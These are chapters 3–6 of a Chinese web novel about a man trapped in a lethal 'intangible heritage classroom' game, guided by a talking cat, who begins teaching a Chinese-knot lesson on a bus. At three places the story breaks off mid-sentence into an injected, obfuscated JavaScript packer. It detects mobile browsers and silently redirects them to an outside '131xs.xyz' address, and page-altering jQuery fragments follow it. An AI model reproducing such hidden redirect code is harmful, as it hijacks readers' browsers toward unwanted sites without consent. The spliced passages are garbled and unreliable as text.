《无限非遗学院》 3. 进入小课堂(3) 【是的。】 机械声仿佛卡带一般,发出滋啦滋啦的声响。 【拥有神谕的新世界。】 【在这里,你将拥有无限的可能!】 【你可以创造生命,篡改过去,攫取钱财,甚至获得永生!】 【在这里,神将他的能力下放给每一个人!你们都是天才!是神选中的新子民!是未来不可或缺的一份子!】 【只要能完成神的任务!你想拥有的一切,神都会拱手奉上!】 明明是古波无惊的机械音,却硬生生被句子的组合排列带出了几分令人振奋的慷慨激昂。 可官酉却听得直皱眉。 且不说他是无神论者,根本不信有神存在。 单单从那些句子里获取的信息,都让他觉得啼笑皆非。 什么神的子民,不可获取的一部分;什么神会拱手奉上。 本质上不过是一种交换罢了。 他们完成“任务”,交换想要的“东西”。 那机械音的字里行间对东西进行了无尽的渲染,可任务究竟是什么,却一个字都没提过。 官酉嗤笑一声,面上闪过一丝不屑。 这种小儿科的玩意儿,也只有那些还活着中二世界的少年才会觉得热血沸腾并迫不及待地想加入其中了吧? 他这种大人,可不会上这种当。 而且,比起这些似是而非的鼓舞,他更想知道,他们把章知白弄哪儿去了。 官酉抬起头,打量起四周。 原先的手术室已经随着抹杀倒计时的归零化作无数齑粉飘散,只留下一片浓墨一般的黑色。 黪墨般的雾气不断地在他的鼻尖耳侧眼睫处蛄蛹着,仿佛随时准备着将他吞噬殆尽。 这里就是虚构场景解离后的原本模样? 完全符合他对虚拟数字世界的刻板印象。 机械音等了许久,没能等来祂想要的反应,迟疑的发出提问。 【你不为得此殊荣感到高兴吗?】 “感受不到。”官酉诚实回应,“但如果你能告诉我,你们把章知白弄哪儿去了,我会无比感激。” 共事五年,基础感情早有了。 他实在做不到放任章知白落入险境却见死不救。 【无知的孩子。】 机械音斥责。 【但万能的神啊,会宽宥孩子的无知,只是,死罪能免,活罪难逃。】 【来吧,小惩大戒,开始。】 小惩大戒? 官酉愣了一下,他骤然感觉上半身突然变重,膝盖不堪重负的打弯,整个人直挺挺的跪向地面。 四周的气温在疯狂升高,仿佛浓雾中有熊熊烈火燃烧一般,炙烤着他。 豆大的汗珠从额头沁出,来不及滚落就被蒸发殆尽。 “该死的!就不该听他忽悠!” 官酉撑地的手不自觉的攥紧,双目赤红,在心底疯狂唾骂起章知白来。 “这哪有一点比直接死的强!” “啪嗒——” 水珠滴落的声音瞬间吸引了官酉的注意。 他立刻循声望去,前方的浓雾被拨开,露出一个他无比熟悉的空间! 那是他的实验室,他刚买的游戏舱,甚至连他自己都在! 不仅在,还好好的躺在那把电竞椅上。 只是手脚呈“大”字状张开,被金属束带牢牢地绑着,身边还多出了好几个方方正正的仪器。 “他”上半身衣衫褴褛,无数根电线从破损的布料中延出,搭在前面的方形机器上。 “他”的脑袋被扣在一个巨大的金属头盔,两侧的太阳穴还被贴着圆滚滚的电极片。 冷白色的灯光下,“他”的面容青灰,口唇乌紫,仿佛死了一样。 这是,他意识被上传后遗落在现实的躯体?! 【请保持不动哦~】 一个轻快声音带着喵呜喵呜的尾调忽然响起。 官酉立刻警惕起来:“谁!” 【是喵!代表真理的喵!现在,听喵的话!摸你的心脏!】 指导性话仿佛一记重拳直击官酉的面门。 官酉的神思恍惚了一秒,下意识抬起右手捂向胸口。 黏腻温热却怦怦直跳的触感传来,他低头一看,本该完好无损的胸口破了碗口大的一个洞。 遮挡的胸骨不翼而飞,伸过去的手穿过那个洞口,直直的按在了心脏上。 温热的心脏正在有规律的跳动着。 扑通—— 扑通—— 一下接着一下,仿佛一支自体催眠曲,顺着骨头传入他的大脑。 ……呼,真舒服啊。 仿佛在温度最适宜的水里摸一颗会振动的皮球,也不知道里面会是什么样子…… 他眯了眯眼,神情放松,按在心包上的手仿佛受到了蛊惑一般,突然用力一抓—— 砰—— 砰砰—— 心脏突然开始剧烈跳动,血压紧跟着飙升,裹挟着血液直冲上大脑。 不!停下!这样捏下去会死的! 官酉目眦欲裂,疯狂的在心里警告着自己。 可手掌却像是被操纵了一般,疯狂挤压着自己的心脏,一刻不歇,甚至更快了几分。 面上的肌肉在不住地震颤,口鼻间的血腥气越来越浓,仿佛下一秒,就会有黏腻的液体滴落。 他的意识开始模糊,眼前的世界从明艳走向灰暗,金星四溅。 【别睡着!这次死了就真的死啦!连意识带身体!全部死翘翘啦!】 清脆的声音忽然响起,将官酉的意识从深渊的边缘拽了回来。 官酉打了个激灵,灰暗的眼神瞬间变得清明。 死? 绝对不行! 他才二十九! 他还没活够! 他还没找到生身父母!还没体验过人世种种!还没拿下技术区的至高奖项!还有好多好多的事没有做! 不管是意识还是身体,他都绝对不能死在这儿! 强烈的求生欲下,官酉抬起铅般重的左手压在右手腕上。 五根指头用力一捏,指甲狠狠地嵌入皮肤之中。 他深吸一口气,猛地将手从胸口扯出,巨大的惯性将他带的一踉跄,跌坐在地上。 ……呼,呼…… 官酉大口大口地喘息着,全身跟刚从水里捞起一般,湿漉漉的。 他不敢置信的看着自己的手掌,打了个寒颤。 他立刻联想到那机械音说的小惩大戒! 这就是所谓的惩罚? 可这惩罚为什么会和第一轮抹杀倒计时之后所呈现的画面一模一样? 难不成,那次倒计时之后,攥住自己心脏拼命挤压的手,其实就是自己的?! 只是游戏时间的时间轴具有可拨动性,所以,创建游戏的人将未来时和现在时被拉入了同一空间,并错序排列了?! 官酉握着微微发抖的手腕,强迫自己冷静下来。 忽然,他眼睁睁的看见,金属椅子的“他”突然化成无数光点在他的眼前消散,童声再次响起,带着熟悉的倒计时降临。 【抹杀倒计时01:00:00】 又来?! 官酉怒目圆睁,全身肌肉绷紧,脑袋机敏的晃动着,生怕错过一丝丝危机的降临。 但灾厄并没有降临,他的视野里却凭空多出了三行惨白的大字。 【尊敬的修猫专业技工你好!】 【恭喜你成功通过咪咪审判官的全部考验,正式成为非遗教师团队的一员!】 【你就是我们要找的优秀教师!】 【我是您的咪咪督察咪呜咪呜!】 与此同时,那只蹭过他脚踝的奶牛猫摇着尾巴出现在他的眼前。 【正在努力为您生成身份数据……数据生成完成,读取中,请稍后——】 【姓名:官酉】 【年龄:29】 【身份:实习教师:好可惜,居然没有成为正式工!也没关系!临时工除了福利差一点,需要兑换游戏时长外,也一样拥有教师权利哦!】 【死亡倒计时:00:59:54】 【死亡方式:心脏爆裂】 【成就称号:实践者(绿色(紫色)称号):都说天才是1%的天赋和99%的汗水共同构成,那如果汗水被拉满了呢?天才是否还会诞生? 脸盲症候群(蓝色称号):哇!你这个人!怎么这么不讲武德!往自己的脸上涂马赛克呢!】 【成就称号已佩戴】 【特殊道具:无齿显微镊:似乎来自于手术室?镊子好滑好灵敏。拿着它的你手一定也无比灵巧吧? 实习教师大礼包(待解锁):呀!好幸运的新人!居然开出了这个!只是为什么会上锁呢?】 接下来是两行一红的大字。 【你是敲开教师团队大门的第一人!】 官酉沉默一瞬,嘴角一扯,露出个轻蔑的微笑。 这是什么很值得骄傲的事情吗? 学员也好,教师也罢。 不过都是自愿或者被迫困在这里的可怜人罢了。 官酉翻了个白眼,扭头就走。 他可没兴趣在这儿陪玩这种既中二又幼稚的游戏。 而且眼下最要紧的还是找到章知白。 那家伙是属不定时炸弹的,一旦知道自己没把他的事情放在第一位,还不知道要怎么跟他闹腾呢。 奶牛猫却再次闪现在他的面前。 【你不高兴吗?】 【你不好奇吗?】 【你不惊喜吗?】 奇怪的童音从奶牛猫的肚子里发了出来。 官酉瞬间僵在原地。 他诧异的看向那只奶牛猫的肚子,露出狐疑的神色。 众所周知,猫天生会响。 所以一只猫会腹语并不稀奇。 但如果这只猫会的腹语是人话,那就稀奇了。 “你,不是普通的猫?” 奶牛猫骄傲的昂起毛茸茸的小脑袋。 【当然!我是最伟大的神造物,拥有最优秀的感知和交互系统,我……】 官酉打断了它:“所以,你不仅会说人话,还从我进入这个空间起一直都在?” 【不愧是能冲破重重枷锁的男人!就是聪明!】 官酉的嘴角抽搐一秒。 还真是谢谢了,他也知道他聪明的厉害。 但是—— “所以,抹杀倒计时也好,故弄玄虚的惩罚也好,都是你弄出来的?” 奶牛猫双目圆瞪,不敢置信的看着官酉。 毛茸茸的嘴套微微张开,吐出粉嘟嘟的舌尖。 【不,不是啊……那是程序!对!程序!】 【是神为了选出他的代言人而特别设置的程序!】 童声从心虚变得急促,最后肯定。 仿佛是为了证明自己没故意使坏,急促又铿锵。 只是,官酉依旧能从奶牛猫的脸上看见明显的心虚。 官酉挑了挑眉,默默地将这一仇记在心里。 不过,他暂时不急着还手,他还记得自己主动入局的目的,更何况,他现在还有一件迫在眉睫的事情要借这只猫儿的手做——找人。 “好吧。接受你的解释。”官酉点了点头,摆出副高举轻放的架势,“接下来要做什么?” 奶牛猫 【不愧是被神看中且通过连环考验的男人!抽出你的意识进入游戏就是最好的选择!】 【请务必保持!一切为了伟大的生命!】 【下面由伟大的咪咪督查咪呜咪呜为您介绍我们的团队和产品!】 【这是一款寓教于学,寓教于乐的专业非遗小课堂!为了让每一位热衷于传承非遗的学员好、快、准的掌握技艺,小课堂专门为每一堂课匹配了最合适的小游戏。】 【只有完成小游戏,才能完整的掌握非遗的全部技艺喵!】 【而作为金牌教师团的成员,您需要辅助您的学员完成全部游戏,熟练掌握所有技艺并完成最终作品。】 【当然,老师也是有自己的考核标准的!游戏过程中,会有随机小任务,您需要完成它们。】 【在完成一件最终作品的过程中,每完成一项随机小任务,都会获得积分,积分可以完成任何心愿。】 “等等。”官酉举起右手,打断了它,“咪呜,你好。” 奶牛猫神色一怔,柔顺的毛发忽然炸开,像颗蓬松的棉花糖。 它愤怒的抬起右前爪狠狠地往地上一跺,粉嘟嘟的三瓣嘴张开,发出一声无声的“喵呜~” 【是伟大的咪咪督查咪呜咪呜!】 官酉哽了一下,从善如流的改了口:“好的,咪呜咪呜。” “你是说,这个积分能满足我全部的愿望?” 【当然!小课堂的教师待遇是全宇宙最好的!只要积分足够,您甚至可以建立自己的技术帝国,成为世界首富,让所有质疑您的人统统消失!】 “那你们可真是个好东西!”官酉忍不住赞美,“那如果我想让死者复活呢?” 似乎从未听过这样不合常理的要求,奶牛猫圆滚滚的脸上浮出现出一抹淡淡的疑惑。 毛茸茸的脑袋歪了歪,两只前爪在肚子上好一顿搓磨,扒拉出一些奇奇怪怪的东西。 有黑色塑胶瓶子、标价一亿积分的【躯体再造与灵魂再就业】。 【躯体再造术与灵魂再就业:好可怜哦!怎么就死了呢!不过没关系啦!拥有了这个,就可以重塑肉身,给飞离的灵魂又一个家哦!】 有紫色塑胶瓶子,标价一百万积分的【限时物品附身感应券】。 【限时物品附身感应券:附体!存活新形态!物品也好,宠物也行!但是,禁止附着在人身上哦!】 也有白色塑胶瓶子,标价10积分的【触碰实物体验劵】。 【触碰实物劵:呼啦呼啦!你怎么不小心死掉啦!快快快!拿上这个!半个小时内,和活人没区别!你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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越来越有意思了…… 他忽然开始有些期待起来。 这样有意思的团队制作出来的游戏,也一定不会让人失望吧? 反正他有大把的时间,或许,他可以先好好的感受一下游戏的快乐? 官酉这么想着,转而问道:“为什么我会是教师?这游戏发布时间不短了,进来的人似乎都是学员?” 【因为你与众不同啊!】 奶牛猫眨巴下眼睛,瞳孔忽然向内眼角收,形成对鸡眼。 【完全出乎意料的选择!自然得出完全出乎意料的答案!】 官酉:“……” 好吧,这个答应他完全没猜到。 不过,从介绍来看,不管身份是教师还是学员,似乎都不影响他进行自己的项目研究。 自然如此,没必要纠结。 “最后一个问题,章知白,就是那个之前和我一起来的人,去哪儿了?” 【人?哪里有人?这里不是一直都只有你吗?】 官酉诧异的看向奶牛猫。 它没见过章知白? “和我一起出现在第九次试炼的那个人,或者说那个光斑?” 奶牛猫斩钉截铁的摇摇头。 【第九次试炼,从头到尾都只有您一个人。】 官酉皱起了眉头。 不可能。 章知白肯定来了! 他分明记得,在第九次试炼开启的时候,系统判定过当前试炼存在过旁观者,旁观者就是章知白。 更何况这只猫亲口承认,从他进入游戏起,它就一直存在,怎么会没见过章知白? “放心,任务我做!”官酉语气十分笃定,“但是章知白,你们必须还回来,没得商量!” 奶牛猫没有接话茬,它歪了歪脑袋,右侧竖起的耳朵微微一抖,长胡须颤了三颤。 【咪呜咪呜不会说谎。】 【但如果您坚持那个人确实来了的话,他也会进入游戏循环。】 【或许,您会在带课的途中遇见他?】 【咪呜咪呜只是小猫咪,咪呜咪呜只知道咪呜咪呜记得的,其他咪呜咪呜不知道。】 “第一次教学……好吧。” 确实,猫就是猫,脑容量有限,不能指望它能记住太多。 有些事,譬如找人,还是得他亲自来。 官酉点点头:“那就开始吧。” 奶牛猫立刻站了起来,原地转了一圈,将信息传了过来。 【课堂信息】 【中国结编制技艺小课堂】 【等级:黑色一星。】 【课堂人数:9人小课堂(含教师)】 【带课教师:官酉】 【课堂日期:4.4出发-4.8结课,5天4晚】 【课堂介绍: 【天呐,一枚小小的绳结居然承载着大大的祝福!这究竟是怎么做到的? 材料?柔软细嫩,一碰就碎。小心些,请再小心些!编织祝福的材料娇贵且珍稀,库存有限,千万别嚯嚯! 可万一嚯嚯没了,又该去哪儿寻找呢? 技术?好复杂多样的工具!好灵活巧妙的双手!好轻柔却快速的动作! 这样的手,该去哪里领取呢? 繁复?那是技艺至臻的完美体现!是祝福的最好的承载! 可,承载的,真的只是祝福吗? 来吧,来编织美好吧!】 【完成课堂最低要求:减员数量小于等于三人。】 【咪呜咪呜的温馨小提示:或许可以挑战一下无伤?会将大量的积分奖励哦!】 随着解锁的信息越多,四周的浓雾就越淡,最终彻底消散。 官酉这才发现,他居然在一辆破旧的大巴车上。 遍布污渍的座椅,被挠花了的车窗,只剩半截的售票处,以及臭气冲天的驾驶室,无一不在无声的诉说着这辆车的凶险和残酷。 可官酉非但不怕,甚至还隐隐有些兴奋。 这辆大巴,他在游戏里也坐过。 大巴所通往的关卡,是整个《猫咪教你玩非遗》最简单的一关。 整个过程,仅需用整个全身的力气将东西归位。 稳了! 官酉捏了下自己的手指,神情放松。 这种难度的游戏,根本不可能有人员伤亡。 这也意味着,他的任务必定能够成功。 【请不要掉以轻心!】 【游戏不等于现状,轻视将会加速死讯的降临!】 【课堂即将开始,今天是第一天,请您在座位上耐心等待所有学员的到来。】 【祝您带课愉快。】 4. 中国结(1) 砰! 重物坠地的声音突兀的响起在大巴内。 一个巨大的旅行包被扔在了地上。 没扎紧的包口散开,露出里面一大块白花花的东西。 而后,车子猛地朝着门口的方向一倾—— 第一位学员,上车了。 官酉下意识地看向上车的人。 这是个身材高大的中年男人,约有两米高,豹头环眼,肌肉虬结。 绷紧的衣角上还沾着一点暗红色的污渍。 他忽然抬头,目光猛地对上官酉的视线,脸上的表情瞬间僵硬,随后耳廓一红,便弯下腰去,拾起那只旅行包,慌里慌张的走到了最后面坐下。 官酉意外地挑了挑眉尾。 他未来的学生,是亡命徒吗? 刚刚经过他的时候,那股铁锈腥气浓得他险些破功,当场皱眉。 官酉微微向左侧了侧头,眼角余光向后撇去,落在那个中年男人身上。 男人正在偷摸着打量他,见他偷瞄过来,立刻低下头去。 粗壮的大腿紧紧并拢,双手乖巧的搭在膝盖上,腰背挺直,俨然一副受惊的模样。 嘴里还不断的念叨着:“别看我别看我,我会听话,我会听话……” 官酉有些意外,他是什么洪水猛兽吗? 居然把这么个五大三粗的男人吓到瑟瑟发抖? “哈哈哈哈哈五年了,你终于发现你这别人眼里的形象了吗?”一道熟悉的声音忽然响起。 “章知白?!”官酉激动的瞪大了眼睛。 他立刻看向声音传来的方向——右手边的窗户。 窗户外是大雨滂沱,除了蹲坐在半空中的咪呜咪呜,什么都没有。 “你藏在了咪呜咪呜的体内?” “哪儿能啊?那就是铁桶一个,缝都没有,咋藏?”章知白的声音听着有些疲倦,“回头拆它有的烦了。” 拆? 官酉有些意外。 好端端的,拆一只猫做什么? “你不好奇?”章知白声音满是诧异。 “好奇什么?”官酉不懂,但虚心求教。 “构造啊!”章知白大声道,“那个所谓的神究竟是用了什么技术,不仅能让猫像猫,还能让猫精准分析人的心理,预判下一步操作,口吐人言。” “这里面的数据模型、程序编制还有机械构造,你一点都不好奇?” 官酉沉默了,别说,被章知白这么一形容,他确实有那么一瞬手痒了。 咪呜咪呜似乎察觉到了危险将至,蹲坐着的身体瞬间站起,毛尖儿直立,眼神警惕的四处打探。 【嗅到了危险的气息,清查程序即将启动,询问伟大的教师,是否发现可疑人物?】 “你程序BUG了?”官酉的眼皮一颤,撒谎撒的斩钉截铁,“这里除了你我,就一个新上车的学员,哪儿还有别人?” 咪呜咪呜死死的盯着官酉的侧脸,几秒之后才点了点头,又蹲坐回去。 官酉送了口气,面无表情的将头扭了回去:“你刚去哪儿了?现在又在哪儿?我为什么见不到你?” 章知白的声音听着贱嗖嗖的:“嗨呀,你一口气问这么多,我该先回答哪一个?” “一个个来。”官酉面色阴沉。 章知白:“……” 他的声音瞬间萎靡不振:“你这个人啊……好没劲哦……” 官酉闻言,忍不住蹙眉。 不管经历多少次,他都对章知白者突如其来的发散感到无法适从。 现在是评价人有劲没劲的时候吗? 不是! 现在是弄清楚在自己第九次失败后,他究竟经历了什么,以及现在为什么只闻其声不见其人的时候! “严肃点。”官酉忍不住斥道,“我失败之后到底发生了什么!” “好吧好吧……真是怕了你了……” 章知白抱怨着嘟囔了几句后才认真起来。 “具体的我也不清楚。我只知道,我当时被关在了一个黑漆漆的地方。我在里面睡了一觉,再醒来就在这车上了。” “你在这车上?”官酉立刻抓住了重点。 章知白挠挠头,声音听着有些纠结:“说实话,我也不清楚我到底在不在这车上。” “理论上来说,我能看见你们每一个上车的人,能和你对话,我就应该在这车上。” “但实际上,没有人能看得见我,我也无法和除了你以外的人对话。” “而且,我还感觉有一股力量在牵引着我,似乎想把我从这里拽走。” 官酉闻言,眉头紧锁。 章知白的说的每一个字分开他都能理解,但合起来,他反而听不懂了。 假设数据流将当时的他劫走困住,现在又突然放出的话,他应该只有两种状态。 要么自由,要么被监视。 前者他应该来去自由,无所顾忌。 后者他应该感觉到浑身刺挠得如同被安装了一个三百六十度无死角摄像头一样难受。 但无论如何,都不应该出现第三种状态——随时会有被拽走的风险。 究竟是哪里出现了问题呢…… 官酉忽然想起了咪呜咪呜说过的话——这个世界有个主人,造物神,豁然开朗。 章知白这是被神看中了么? 他想起五年前第一次调查章知白时看见的照片,神色有些古怪。 那样一张脸,如果意识到形态不会被身体伤势连累到话,或许真能被神看中呢。 那可是一张美得雌雄莫辨,惊心动魄的一张脸啊…… 官酉干咳一声,将飞远了的思绪拽了回来:“你能感受到那股力量在哪儿吗?” 章知白摇头:“感受不到。但我知道那股力量没有恶意。” “你确定?” “确定啊。”章知白打了个哈欠,“我是死了,不是木了。有没有恶意我还是能感受得到的。而且,我打算去看看。” “你疯了。”官酉笃定的道,“你连那股力量来自哪儿,属于谁都不知道。你当初的谨慎呢?” “丢了呗。”章知白乐呵呵的点点头,“反正是虚拟世界,我又已经死了。是时候用冒险精神享受新生活了。” “说不定,呜还能给你带来最新的消息呢!” 官酉的眉头一颤,他微微抬眼看向空中。 没有形象和感知,官酉无法看清章知白的表情。 但他心里清楚,章知白现在的表情一定臭屁又骄傲的。 眼睛也亮的仿佛下一刻,他就能成为那个拯救世界的大英雄一样。 章知白啊,本身就是个臭屁爱演又很喜欢冒险的戏精啊…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“不可能!”他的声音刚落,便立刻遭到了反对,“如果是学员,车门不会自主关闭!” “但如果是老师,播报不可能没报。” “只是他没听到而已,万一他不是第一个来的呢?” “那其他人呢?谁听到播报?” 又是一阵沉默。 忽然,最先上车的男人吼了一声:“都别说话!看车窗!” 众人的目光不约而同的落在了车窗上,车外的大雨之中,一个细长的身影正提着一只箱子朝大巴的方向走来。 与此同时,官酉的耳边再次响起咪呜咪呜的声音。 【滴滴滴——您有一条突发任务,请尽快接受——】 【突发事件:教师的威严不容小觑!】 【任务等级:极度困难】 【任务描述:震颤吧!颤栗吧!屈服吧!在这片虚幻的世界之中!在老师的最强威压之下! 像向王宣誓一般,献上你的忠诚! 翻译:让至少一位学生chen服。】 【奖励:10积分,教师套装解锁,获取入场券】 5. 中国结(2) 官酉:“……” 这任务真的有做的必要? 教师的尊严不容小觑? 这不是废话吗? 谁敢小觑教师的尊严? 对学生,尤其是种花家学生而言,敬畏师长不早吸烟刻肺了吗? 谁小时候没被老师死亡凝视过? 谁小时候没被电子笔砸过? 谁小时候没被指桑骂槐过? 官酉不能理解,这有什么值得被强调的,甚至还被评价为“极度困难”。 难不成,在这个游戏里,老师与学生之间的关系,并不像现实那么简单纯粹? 学生不畏惧老师,老师管不住学生。 猜忌、竞争、甚至身份置换,在学生与老师之间会随时发生? 【BIngo~】 【不愧是伟大的神选中的优秀教师,真聪明!无需任何提示就猜对了一半!】 官酉弯了弯嘴角,舒服叹息。 对嘛,游戏只有这样,才足够有意思,值得他花心思玩下去。 不过—— 官酉的目光在“chen服”上敲了一下。 如果完成任务的条件仅仅是需要“chen”服,那他似乎,已经完成了? 他身后的那位壮汉,仅仅是和他对视一眼,都已经抖如筛糠了。 官酉想着,问向咪呜咪呜:“咪呜咪呜。” 【咪呜咪呜在!伟大的老师阁下,有什么想问的吗?】 官酉面忽略到咪呜咪呜那中二的称呼,曲起食指,在脏兮兮的玻璃上敲了敲,面无表情的问道:“我的任务奖励呢?” 咪呜咪呜惊奇的瞪着圆滚滚的猫眼儿,毛茸茸的脑袋微微一偏,右耳朝外旋了半圈,抖了一下。 【您还没有完成任务哦!】 “你确定?”官酉的眼神有些危险。 【当然!评判系统是不会出错的!】 【如果您完成了任务,奖励会立刻下发。】 【我们可不是那些坏心眼儿的资本家!立刻结算哦~】 官酉默而不语。 如果系统不会出错,那问题出现在哪儿呢? 他的目光不断的在“chen”上打转。 “chen”,臣? 不对。 按照臣服的名词释义,他的任务是已经完成的。 不管是出于恐惧,还是敬畏,那个中年男人都承诺了“会听话”,这就是“臣服”。 可事实是,他的任务没有完成。 所以,这个“chen”不是“臣”。 那会是什么?陈?晨?趁? 似乎都无法和“服”构成一个专有名词。 官酉忽然想到了一个问题:“你们喵喵分前后鼻音吗?” 咪呜咪呜被问得一愣,一张猫脸写满了懵逼。 【什么是前后鼻音?】 破案了。 官酉心下一松,那就是“诚服”了。 “诚服”的前面通常跟着“心悦”,需要对方真心地服从。 而中年男人的“听话”,源自于对他的“恐惧”,可不是什么“真心”。 这么一看,他确实是没有完成任务。 想到这儿,官酉嘲讽的嗤笑一声。 该说不愧是做游戏的么? 利用了猫猫说话口齿不清的特点,把文字游戏玩到了极致。 嘀嗒,嘀嗒。 【抹杀倒计时00:44:44】 过秒的嘀嗒声如同一只打不死的苍蝇,不断的在他的耳畔制造噪音。 但官酉丝毫不觉得烦躁,甚至隐隐的开始兴奋。 时间越少,他就越冷静,大脑也转的越快。 这样的任务通常可以分出两种完成模式。 一种是卓越模式:使一车人对他心悦诚服。 一种是基础模式:使车中一人对他心悦诚服。 两种模式的达成难度不同,所对应的结果也完全不同。 卓越模式下同行,整车的人都将成为他的盟军,而后一路,均是队友,再无对手。 普通模式下同行,若无分歧,一路便会相安无事。 可一旦副本内出现分歧,将会局势骤变,二人对八人,目之所及,皆是不利。 该如何选呢…… 官酉舔了舔嘴角,几乎是瞬间做出了评判。 如果可以,他肯定想都不想直接选前者。 但现在,他得活下去。 官酉抬起头,目光逐一扫过车上的每一个人,寻找着自己的立威目标。 豹头环眼的中年人pass。 他是这辆车上第一个也是唯一一个对他表现出强烈恐惧情绪的人。 而这份恐惧已经被评判系统评定为“失败”。 戴金丝眼镜的中年男人pass。 他身上的上位者气息太重,若无足够的权或利,很难收服。 而这两样,官酉身上刚好都没有。 面上有刀疤的中年壮汉pass。 虽然他看起来老实巴交,可眼底的凶光却怎么都遮不住。 还言辞粗鄙,一举一动都在暴露自私的属性。 这样的人,认拳头不认道义。 收服不难却不能合作。 一旦官酉处于弱势,他必定会是一把从背后伸出的刀。 身材矮小、贼眉鼠眼的男人pass。 从上车起,他就紧紧跟着那个面上有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15681828|172298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刀疤的男人,生怕别人不知道他们是一伙的。 并肩而立的三位女士pass。 不是官酉看不起女孩子,而是她们的身上流淌着清澈的纯真气息。 二人局面势单力薄,官酉实在不忍心将她们拽入孤立无援之地。 至于落在最后的马尾辫少女…… 官酉的目光直直的落在了她的身上。 黑衣黑裤,面容冷峻。 高高束起的马尾乖顺的立在后脑勺的顶点,发圈处别着个湖蓝色的蝴蝶结。 她似乎察觉出官酉的目光,头朝着官酉的方向一侧,两道目光便直直的对视上。 那眼神平静、冷淡,仿佛不是在看同伴,而是在看一个和自己毫无相关的人。 她很强! 几乎是瞬间,官酉得出了答案。 但这还不够! 他无法从她的眼神中得到那种肾上腺素狂飙的感觉! 这也意味着,她的强仅仅是和自己齐平,还远远达不上他想要的并肩程度! 官酉虚握住了拳头,眼里闪过一丝丝亮晶晶的光。 二人对八人,二人的能力至关重要。 要么是弱者,能被他完全掌控,成为他最好使用的一把刀。 要么是强者,能和他互相交付后背,并肩同行。 官酉对自己的实力十分自信,他从来都不需要刀,他需要的,是一个真正的同伴! 一个能站在他身边,和他共同探讨前行,互不拖后腿的同伴! “可惜了,要是章知白还在就好了……”官酉有些不合时宜的想道,“也不知道他现在怎么样了?” 【敲敲你!敲敲你!】 【关键时刻!可不能随随便便开小差哦!】 【车辆马上就要开走啦!开车前,请务必完成任务哦!】 官酉有些诧异的看向咪呜咪呜。 他第一次知道,这突发任务居然也有时效性。 “这么重要的消息为什么不在发布任务的时候就跟我说?” 咪呜咪呜圆滚滚的大眼睛一眯,唇瓣咧开,露出个嘲讽的笑容。 【您打那么多游戏,有见过没有限制的突发任务吗?】 官酉:”……“ 章知白说的对,拆猫行动,刻不容缓啊。 【选好你的立威对象了吗?】 官酉没说话,目光却直直的落回在马尾辫的身上,眸光炽热,仿佛一团燃烧的火,烫得女生皱起了眉头。 “你看我做什么?”清清冷冷的声音响起。 官酉才要回答,车门处传来了一声清脆的“啪嗒”声。 官酉顺势扭头,恰巧看见,一只踩着高跟皮鞋的脚踏上了第一步台阶。 6. 中国结(3) 一瞬间,整节车厢陷入安静。 所有人的目光不由自主地落在了那个人的身上,而后瞳孔紧缩,不约而同地倒吸一口气。 这个人,太漂亮了! 身形高瘦,唇红面白,鼻梁高挺。 一双桃花眼弯弯的,似乎一直在笑。 眼眸更像是被特意熏蒸过一般,黑白分明。 上下睫毛浓密均匀,给这双眼增加了一双眼线。 身上套着一件修身的西装长裙,脚下踩着一双黑色高跟皮鞋。 他似乎还没睡醒,一面打着哈欠,一面走入了车厢。 大巴的门再一次被砰得关上。 但这一次没有人惊慌了,而是死死的盯着那个人,神色却古怪异常。 似乎松了口气,却又在眉梢眼角写满了嫉妒。 是个妹子? 官酉盯着那人,迟疑的辨别着他的身份。 衣着、长相都精致的仿佛游戏建模。 唯独这接近完美倒三角的肩腰比,似乎很少有女生拥有? 那人似乎察觉到了官酉的目光,打着哈欠的手微微一顿,脸微微一侧,看向官酉。 目光相接的瞬间,官酉只觉得呼吸一滞,而后耳聪目明,大巴内的每一个声响每一个举动都被放慢了无数倍,清晰的落入他的眼里、耳里。 就是这种感觉! 官酉瞪着双眼,鼻孔翕动,呼吸急促。 那种肾上腺素章疯狂分泌下,时间被暂停键下,时间一切被无限放大的感觉! 这一辆车里,有块头大的,有沉着冷静的,也有煞气十足的。 可偏偏带给他唯一感官刺激的居然是最后上车的人! 硬茬! 绝对的硬茬! 几乎是瞬间,官酉在心里给他下了个定义。 这是一个强大到他都有些看不明白的妹子! 官酉弯了弯嘴角,心生雀跃。 太好了! 他所期待的“同伴”,终于来了! 他的命,有救了! 如果没有章知白,官酉更想和女生结盟。 不是看不起男生,而是相较于男生,同样的关卡,在男女身形差异所导致的掌宽、握力差下,女生的微操会更加精准和细致。 官酉心里清楚,最后一关的的前七次失败,几乎都是因为他对掌宽与握力之间关系的出现了把控失误。 甚至是最后一次尝试,他的失败,都源自于过于精细化的前后手操作。 至于章知白么…… 虽然他不是女生,但是他是以手稳和微操技艺精湛的心胸外科的明日之星啊! 虽然五年没碰过手术刀了,但这种饭碗的技艺,他不吸烟刻肺,谁吸烟刻肺? 不过,他毕竟五年没碰过手术刀了,这位在副本中血拼至现在的女生,确实更加合适。 章知白啊章知白……让你去追寻“自由”,看吧,即将“失宠”了吧? 官酉轻笑了一下,冷不丁的轻唤了一声:“咪呜咪呜。” 【喵?】 “优秀的选学生策略。”官酉赞叹,“你们的制作团队确实有些本事。” 给他送来了一位更合适的同行伙伴。 